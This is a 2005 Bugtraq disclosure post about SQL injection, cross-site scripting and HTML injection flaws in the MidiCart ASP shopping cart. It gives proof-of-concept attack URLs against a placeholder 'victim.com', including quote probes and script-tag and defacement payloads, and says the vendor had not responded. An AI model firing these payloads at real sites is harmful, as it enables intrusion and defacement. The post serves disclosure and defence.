[40169] in bugtraq
[NOBYTES.COM: #11] MidiCart ASP Shopping Cart, Evaluation Version 7 & Standard & Pro - Multiple Vulnerabilities
daemon@ATHENA.MIT.EDU (John Cobb)
Tue Sep 6 16:34:30 2005
From: "John Cobb" <johnc@nobytes.com>
To: <bugtraq@securityfocus.com>
Date: Sat, 3 Sep 2005 11:27:42 +0100
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAW9awBalVl02jSH2wQZK2tsKAAAAQAAAADFBAE9OeIUOnOLStTZ4mrwEAAAAA@nobytes.com>
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
Hello All,
I have discovered a number of remote vulnerabilities in:
MidiCart ASP Shopping Cart, Evaluation Version 7 & Standard & Pro
Authors Site: http://www.midicart.com/
+-[Examples:]--------------------------------------------------+
[1]------------------------------------------------------------+
Possible SQL Injection & Information Disclosure:
http://www.victim.com/item_list.asp?maingroup='&secondgroup=CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup='
http://www.victim.com/item_show.asp?code_no='
http://www.victim.com/search_list.asp
[2]------------------------------------------------------------+
XSS:
http://www.victim.com/item_list.asp?maingroup=<script>var%20xss=31337;alert(
xss);</script>&secondgroup=CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup=<script>var%
20xss=31337;alert(xss);</script>
[2]------------------------------------------------------------+
HTML Injection:
http://www.victim.com/item_list.asp?maingroup=<h1>defaced!</h1>&secondgroup=
CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup=<h1>defaced<
h1>
http://www.victim.com/item_list.asp?maingroup=<h1>hello</h1>&secondgroup=<h1
>defaced<h1>
+-[Notes:]-----------------------------------------------------+
Vulnerabilities found on: 21/08/2005
Author(s) Informed on: 21/08/2005
Author(s) Response: NONE
Author(s) Fix: NONE
Regards
John Cobb
JohnC@NoBytes.com
http://www.NoBytes.com
